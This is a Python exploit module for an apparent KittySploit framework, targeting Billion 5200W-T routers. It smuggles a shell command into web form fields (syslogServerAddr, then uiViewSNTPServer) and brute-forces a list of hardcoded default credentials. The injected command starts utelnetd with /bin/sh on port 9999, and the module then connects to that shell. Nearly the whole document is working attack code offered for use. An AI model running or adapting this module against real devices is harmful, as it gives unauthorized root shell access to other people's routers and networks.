Billion 5200W-T - Remote Command Injection

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Billion 5200W-T remote command injection — opens framework shell session."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.telnet import open_framework_shell
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Billion 5200W-T - Remote Command Injection",
        "description": (
            "Unauthenticated or authenticated OS command injection in Billion 5200W-T "
            "via adv_remotelog.asp or tools_time.asp. Spawns utelnetd and opens a "
            "framework shell session."
        ),
        "author": ["Pedro Ribeiro", "KittySploit Team"],
        "platform": Platform.LINUX,
        "payload": {"default": "nopayload"},
        "references": [
            "http://seclists.org/fulldisclosure/2017/Jan/40",
            "https://blogs.securiteam.com/index.php/archives/2910",
        ],
        "tags": ["billion", "router", "rce", "cmdi", "telnet", "iot"],
    }

    telnet_port = OptPort(9999, "Telnet port opened by utelnetd", required=False)
    username = OptString("admin", "Fallback HTTP credentials username", required=False)
    password = OptString("password", "Fallback HTTP credentials password", required=False)

    _HARDCODED_CREDS = (
        ("admin", "password"),
        ("true", "true"),
        (
            "user3",
            "123456789012345678901234567890123456789012345678901234567890"
            "123456789012345678901234567890123456789012345678901234567890"
            "12345678",
        ),
    )

    def _execute1(self, cmd: str) -> bool:
        print_status("Trying unauthenticated injection via adv_remotelog.asp ...")
        data = {
            "RemotelogEnable": "1",
            "syslogServerAddr": f"1.1.1.1;{cmd};#",
            "serverPort": "514",
        }
        response = self.http_request(
            method="POST",
            path="/cgi-bin/adv_remotelog.asp",
            data=data,
            allow_redirects=False,
        )
        return response is not None and response.status_code != 404

    def _execute2(self, cmd: str) -> bool:
        print_status("Trying authenticated injection via tools_time.asp ...")
        payload = f'"%3b{cmd}%26%23'
        creds = set(self._HARDCODED_CREDS + ((str(self.username), str(self.password)),))
        for user, pwd in creds:
            print_status(f"Trying credentials {user}:{pwd}")
            cookies = {"SESSIONID": self.random_text(8)}
            if not self.http_request(method="GET", path="/", cookies=cookies, auth=(user, pwd)):
                continue
            data = {
                "SaveTime": "1",
                "uiViewSNTPServer": payload,
                "uiTimezoneType": "0",
            }
            if self.http_request(
                method="POST",
                path="/cgi-bin/tools_time.asp",
                cookies=cookies,
                data=data,
                auth=(user, pwd),
            ):
                return True
        return False

    def check(self):
        return {
            "vulnerable": False,
            "reason": "Active exploitation required (blind injection)",
            "confidence": "low",
        }

    def run(self):
        port = int(self.telnet_port or 9999)
        cmd = f"utelnetd -l /bin/sh -p {port} -d"
        if not (self._execute1(cmd) or self._execute2(cmd)):
            print_error("Command injection failed")
            return False

        host = str(self.target)
        print_status(f"Connecting to shell on {host}:{port} ...")
        return open_framework_shell(
            self,
            host,
            port,
            timeout=int(self.timeout or 10),
            exploit="billion_5200w_rce",
        )